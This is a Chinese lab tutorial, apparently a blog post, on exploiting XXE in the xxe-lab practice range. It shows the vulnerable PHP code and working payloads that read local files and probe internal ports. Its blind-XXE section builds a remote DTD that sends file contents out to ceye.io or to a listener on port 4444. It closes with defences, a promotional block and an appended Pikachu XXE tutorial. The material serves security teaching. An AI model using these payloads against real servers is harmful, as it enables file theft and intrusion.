WEB常见漏洞实战之XXE(靶场篇)

WEB常见漏洞实战之XXE
0x01 靶场概述

xxe-lab是一个使用PHP,Java,python,C#四种当下最常用语言的网站编写语言来编写的一个存在xxe漏洞的Web demo。

靶场地址:https://github.com/c0ny1/xxe-lab


0x02 XXE靶场

接下来,我们简单来看一下xxe-lab靶场的靶场逻辑。打开该目录下默认的index.html文件后,查看该文件源代码,可以看到在Login按钮下会触发javascript脚本的doLogin()函数,如下所示:

而JavaScript脚本的doLogin()函数如下所示:

从上图中可以看出,JavaScirpt脚本会将用户输入的username和password转化成xml格式的数据,并且利用ajax的方法提交,提交时xml格式的数据被当作Post数据包的内容进行提交。
来到ajax的目标doLogin.php文件,该文件源码如下所示:

<?php``/**``* autor: c0ny1``* date: 2018-2-7``*/``   ``$USERNAME = 'admin'; //账号``$PASSWORD = 'admin'; //密码``$result = null;``   ``libxml_disable_entity_loader(false);``$xmlfile = file_get_contents('php://input');//这里面因为没有xml文档所以用的是php的伪协议来获取我们发送的xml文档``   ``try{`    `$dom = new DOMDocument();//创建XML的对象`    `$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);//将我们发送的字符串生成xml文档。`    `$creds = simplexml_import_dom($dom);//这一步感觉相当于实例化xml文档``   `    `$username = $creds->username;//获取username标签的值`    `$password = $creds->password;//获取password标签的值``   `    `if($username == $USERNAME && $password == $PASSWORD){//将获取的值与前面的进行比较。...`        `$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);//注意必须要有username这个标签,不然的话找不到username,就没有了输出了,我们也不能通过回显来获取信息了`    `}else{`        `$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);//与上方相同,都会输出username的值,都可以达到我们的目的`    `}`    `}catch(Exception $e){`    `$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());``}``   ``header('Content-Type: text/html; charset=utf-8');``echo $result;``?>


在该PHP文件中,主要是接收POST请求的内容, 并将其转化为XML对象,然后提取XML对象中的username和password字段。然后比对username和password是否相等。注意,在这个靶场中if else语句逻辑似乎出现了错误,相等时result返回的结果应该是0,而不相等时result返回的结果应该是1。

在上述代码中,关键函数如下:

1、libxml_disable_entity_loader(False)

这段代码意思是设置允许PHP加载外部实体,这也是本靶场的漏洞产生主要原因。在生产环境下,需要将这里的False改为True,即可避免产生XXE漏洞。

2、loadXML()

该函数可以将一个输入的字符串转化为DOMDocument对象。

3、simplexml_import_dom

该函数可以把DOM节点转化为SimpleXMLElement对象。

靶场开始

输入任意账号密码进行抓包

观察请求包
发现头部:Accept: application/xml, text/xml, */*; q=0.01

构造XML声明和DTD部分,引用外部实体来进行实体调用

<?xml version="1.0"?>``<!DOCTYPE Mikasa [``<!ENTITY test SYSTEM  "file:///c:/windows/win.ini">``]>``<user><username>&test;</username><password>Mikasa</password></user>


并且在元素中引用外部实体参数&test

查看回显

一般XXE利用分为两大场景:有回显和无回显。有回显的情况可以直接在页面中看到Payload的执行结果或现象,无回显的情况又称为blind xxe可以使用外带数据通道提取数据``xxe-lab是有回显的


0x03 基础利用

有回显的XXE漏洞

我们先以有回显的XXE漏洞进行测试来看看XXE的利用方式

1.文件读取:

file:///                   #file协议读取文件``http://url/file.txt         #http协议读取站点下的文件``PHP://filter                                 #文件流形式读取php文件


但是若是以file和http协议读取.php文件则会报错,因为php文件中含有<>//等特殊字符,xml解析时会当成xml语法进行解析。那我们若是要读取php文件则可以使用

php://filter/read=convert.base64-encode/resource=/etc/hosts


方法对内容进行base64编码,看下面:

PHP://filter/read=convert.base64-encode/resource=D:/phpstudy/WWW/test/Bachang/XXE/php_xxe/doLogin.php


对读取的内容进行base64解码:

2、内网探测

XXE可以访问外部的url,具有和ssrf类似的效果,可以利用xxe进行内网探测
netstat -nao 查看本机端口,选择902端口

DOMDocument::loadXML(http://127.0.0.1:902): failed to open stream: HTTP request failed! 220 VMware Authentication Daemon Version 1.10: SSL Required, ServerDaemonProtocol:SOAP, MKSDisplayProtocol:VNC , , NFCSSL supp in <b>D:\phpstudy\WWW\test\Bachang\XXE\php_xxe\doLogin.php


探测到了902的VMware服务,XXE的内网探测不像SSRF的内网探测那样强大,挺鸡肋的

3.DDOS攻击

该攻击通过构建一项递归的XML定义,在内存中生成十亿个“abc”字符串,从而导致DDOS攻击。原理为构造恶意的XML实体文件耗尽可用内存,因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中,解析非常慢,造成了拒绝服务器攻击

无回显的XXE漏洞

找了几个靶场没有找到盲注的XXE漏洞,那我们将这题假设为盲注,不看Burp右边的显示
盲注为没有回显的XXE注入,因为没有回显会给我们的判断造成困难,所以我们以以下三种方式判断注入是否成功
前提是需要有一个具有公网ip的主机

1.查看受攻击机的服务器日志``2.通过Dnslog平台查看是否进行查询``3.Burp Collaborator Everywhere 插件验证


现有两台机器,一台是以BT面板搭建的,具有XXE-lab靶场的CentOS7虚拟机,IP为192.168.1.102

一台是我的windows10主机,以phpstudy搭建而成,IP为192.168.1.101

两台机器可以互通

实验中,我以我的windows主机模拟具有公网ip的主机(因为实战情况下XML解析器只能解析公网ip),通过xxe漏洞读取windows主机上的文件

查看访问日志验证是否具有XXE漏洞查看访问日志验证是否具有XXE漏洞


实验开始:读取公网ip主机中的文件(假设)

1.查看受攻击机的服务器日志

在本题是盲注的情况下右侧返回包中是不存在内容的,而我们要看是否具有XXE漏洞就看是否192.168.1.101的公网ip(假设)上是否收到来自其他主机的访问记录,查看公网ip主机(假设)的apache或nginx访问记录:

可以看到确实收到了受攻击机的访问记录,说明受攻击机解析了XML内容,来访问了我们的公网ip主机(假设是公网ip主机)

基于此,在实战中我们面对盲注时,构造xml内容让其访问我们能够控制的主机,然后查看我们能够控制的主机上是否具有来自受攻击机的访问记录就可确定是否有XML注入。

其实在我们攻击具有XXE漏洞的服务器时,受攻击服务器进行了两次响应,如果查看受攻击的服务器上的日志会发现两条记录:一次是对XML进行解析后对另一台远程服务器的访问,一次是访问服务器自身上具有XXE漏洞的文件。有访问就有回复,另一台我们可以控制的远程服务器上的日志就会记录受攻击服务器的访问记录抛给它一个404.

2.查看DNS解析记录

在攻击中,我们可以使受攻击服务器访问 DNS解析平台——dnslog.cn或ceye.io平台

刷新,可以看到解析记录

说明XML解析成功,访问了74zgsl.dnslog.cn,具有XXE漏洞。

3.利用Burp的Collaborator插件验证

Collaborator插件位于extender模块下的Bapp Store,点击安装即可在左上角打开Collaborator服务器

点击copy to clipboard将随机生成一个url用于测试

将url填入XXE

可以看到Collaborator中收到了DNS解析记录和HTTP访问记录

以上只是说明该服务器具有XXE盲注,而若是要以盲注读取到信息还需要更进一步

盲注读取文件
在我们可以控制的服务器上构造dtd实体

test.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///www/wwwroot/XXE/READEME.md">``<!ENTITY % int "<!ENTITY &#x25; send SYSTEM 'http://eovpu4.ceye.io/?p=%file;'>">


通过加载服务器下的test.dtd文件,将读取的文件传递给 http://eovpu4.ceye.io/?p=%file(该网址后面有解释)

<!DOCTYPE root [``<!ENTITY % remote SYSTEM "http://192.168.1.101/test.dtd">``%remote;%int;%send;``]>


调用过程解释如下:

%remote请求远程vps上的test.dtd``%int调用test.dtd中的%file``%file获取被攻击服务器上的敏感文件,并传入%send``%send将数据发送到ceye.io上


也解释以下test.dtd文件中的 % 此处如果直接使用%号,会出现报错:

DOMDocument::loadXML(): Entity Value: ‘%’ forbidden except for entities


%不允许出现在 Entity的value中,所以需要将%进行Unicode编码为 % 或者 %(转化成Unicode编码有两种形式,以&#后接十进制数字,&#x后接十六进制数字)

解释以下ceye.io,ceye.io平台, 通过自己的 DNS 服务器和 HTTP 服务器监控 DNS 查询和 HTTP 请求,它还可以创建自定义文件作为在线负载。它可以帮助安全研究人员在测试漏洞(例如 SSRF/XXE/RFI/RCE)时收集信息

演示XXE盲注:

在公网ip上上传test.dtd,内容为:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///www/wwwroot/XXE/README.md">``<!ENTITY % int "<!ENTITY &#x25; send SYSTEM 'http://eovpu4.ceye.io/?p=%file;'>">


对XXE服务器进行攻击:

<?xml version="1.0" encoding="utf-8"?>``<!DOCTYPE root [``<!ENTITY % remote SYSTEM "http://39.xxx.xxx.xxx/test.dtd">``%remote;%int;%send;``]>


因为是盲注,所以读取到的内容会发送到http://eovpu4.ceye.io/?p=%file的“p”参数中

放包

去ceye.io查看记录,如下图

我们把p参数后的内容放到Burp中进行解码:

一些特殊符号是中文,不用管它。

至此我们成功通过盲注读取到了XXE-lab服务器下的文件。

如果不使用ceye.io平台,则可以把读取到的信息发送到公网ip的一个HTTP监听端口上

payload:

<!DOCTYPE root [``<!ENTITY % remote SYSTEM "http://39.xxx.xx.xxx/test.dtd">``%remote;%int;%send;``]>


test.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///www/wwwroot/XXE/README.md">``<!ENTITY % int "<!ENTITY &#x25; send SYSTEM 'http://39.xxx.xx.xxx:4444?p=%file;'>">


公网服务器上开启监听:

python -m SimpleHTTPServer 4444``或``nc -lvvp 4444


XXE漏洞利用工具


https://github.com/luisfontes19/xxexploiter


XXE危害

危害1:读取任意文件
危害2:执行系统命令
危害3:探测内网端口
危害4:攻击内网网站

0x04 XXE漏洞修复与防御

xxe漏洞存在是因为XML解析器解析了用户发送的不可信数据。然而,要去校验DTD(document type definition)中SYSTEM标识符定义的数据,并不容易,也不大可能。大部分的XML解析器默认对于XXE攻击是脆弱的。因此,最好的解决办法就是配置XML处理器去使用本地静态的DTD,不允许XML中含有任何自己声明的DTD。通过设置相应的属性值为false,XML外部实体攻击就能够被阻止。因此,可将外部实体、参数实体和内联DTD 都被设置为false,从而避免基于XXE漏洞的攻击。

防御方案一:使用开发语言提供的禁用外部实体的方法

PHP

libxml_disable_entity_loader(true);


JAVA

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();``dbf.setExpandEntityReferences(false);


Python

from lxml import etree``xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))


防御方案二:过滤用户提交的XML数据

过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC

如果你是也准备转行学习网络安全(黑客)或者正在学习,这些我购买的资源可以分享给你们,互勉:

①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析

一、网络安全(黑客)学习路线

网络安全(黑客)学习路线,形成网络安全领域所有的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。

在这里插入图片描述

二、网络安全教程视频

我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。

三、网络安全CTF实战案例

光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这里带来的是CTF&SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~

img

四、网络安全面试题

最后,我们所有的作为都是为就业服务的,所以关键的临门一脚就是咱们的面试题内容,所以面试题板块是咱们不可或缺的部分,这里我给大家准备的就是我在面试期间准备的资料。

在这里插入图片描述

网安其实不难,难的是坚持和相信自己,我的经验是既然已经选定网安你就要相信它,相信它能成为你日后进阶的高效渠道,这样自己才会更有信念去学习,才能在碰到困难的时候坚持下去。

机会属于有准备的人,这是一个实力的时代。人和人之间的差距不在于智商,而在于如何利用业余时间,只要你想学习,什么时候开始都不晚,不要担心这担心那,你只需努力,剩下的交给时间!

这份完整版的网络安全学习资料已经上传优快云,朋友们如果需要可以微信扫描下方优快云官方认证二维码免费领取【保证100%免费】

请添加图片描述

### 关于Pikachu靶场XXE漏洞实验环境的使用教程 #### 实验环境搭建 Pikachu靶场是一个基于PHP的Web安全学习平台,包含多种常见Web漏洞类型,包括XXE漏洞。要进行XXE漏洞实验,首先需要确保Pikachu靶场已正确安装并运行。可以通过以下步骤完成环境搭建[^3]: 1. 下载Pikachu靶场源码。 2. 将源码部署到支持PHP和MySQL的Web服务器上(如Apache或Nginx)。 3. 配置数据库连接信息,确保靶场能够正常访问数据库。 4. 启动Web服务器,并通过浏览器访问Pikachu靶场。 #### XXE漏洞原理与利用 XXE漏洞的核心在于XML解析器对外部实体的支持。攻击者可以构造恶意的XML文件,利用未禁用的外部实体功能,实现目录遍历、文件读取甚至远程代码执行等攻击行为[^1]。 #### 实验步骤 在Pikachu靶场中,XXE漏洞模块通常提供一个上传XML文件的功能。以下是具体操作步骤: 1. **准备恶意XML文件** 构造一个包含外部实体引用的XML文件。例如,以下XML文件尝试读取`/etc/passwd`文件的内容: ```xml <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <foo>&xxe;</foo> ``` 2. **上传恶意XML文件** 在Pikachu靶场XXE模块页面中,选择“上传XML文件”功能,并将上述构造的XML文件上传。 3. **观察结果** 如果服务器端未禁用外部实体解析功能,则会返回`/etc/passwd`文件的内容,证明XXE漏洞存在。 #### 代码分析 Pikachu靶场中的XXE漏洞通常是由于未正确配置PHP的XML解析库导致的。以下是一个可能的易受攻击的PHP代码示例: ```php <?php if (isset($_FILES['file'])) { $file = $_FILES['file']['tmp_name']; $xml = simplexml_load_file($file); // 直接加载XML文件 echo "XML Content: " . $xml->asXML(); } ?> ``` 上述代码中,`simplexml_load_file`函数直接加载用户上传的XML文件,且未禁用外部实体解析功能,从而导致XXE漏洞的发生[^1]。 #### 防护措施 为了防止XXE漏洞,可以采取以下措施: 1. 禁用XML解析器的外部实体功能。例如,在PHP中使用`libxml_disable_entity_loader(true)`来禁用外部实体加载。 2. 对用户输入的XML内容进行严格过滤,避免包含危险字符或路径。 3. 使用安全的XML解析库,例如DOMDocument,并设置适当的选项以禁用外部实体解析。 ```php <?php libxml_disable_entity_loader(true); // 禁用外部实体加载 if (isset($_FILES['file'])) { $file = $_FILES['file']['tmp_name']; $xml = simplexml_load_file($file); if ($xml) { echo "XML Content: " . $xml->asXML(); } else { echo "Invalid XML file."; } } ?> ```
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值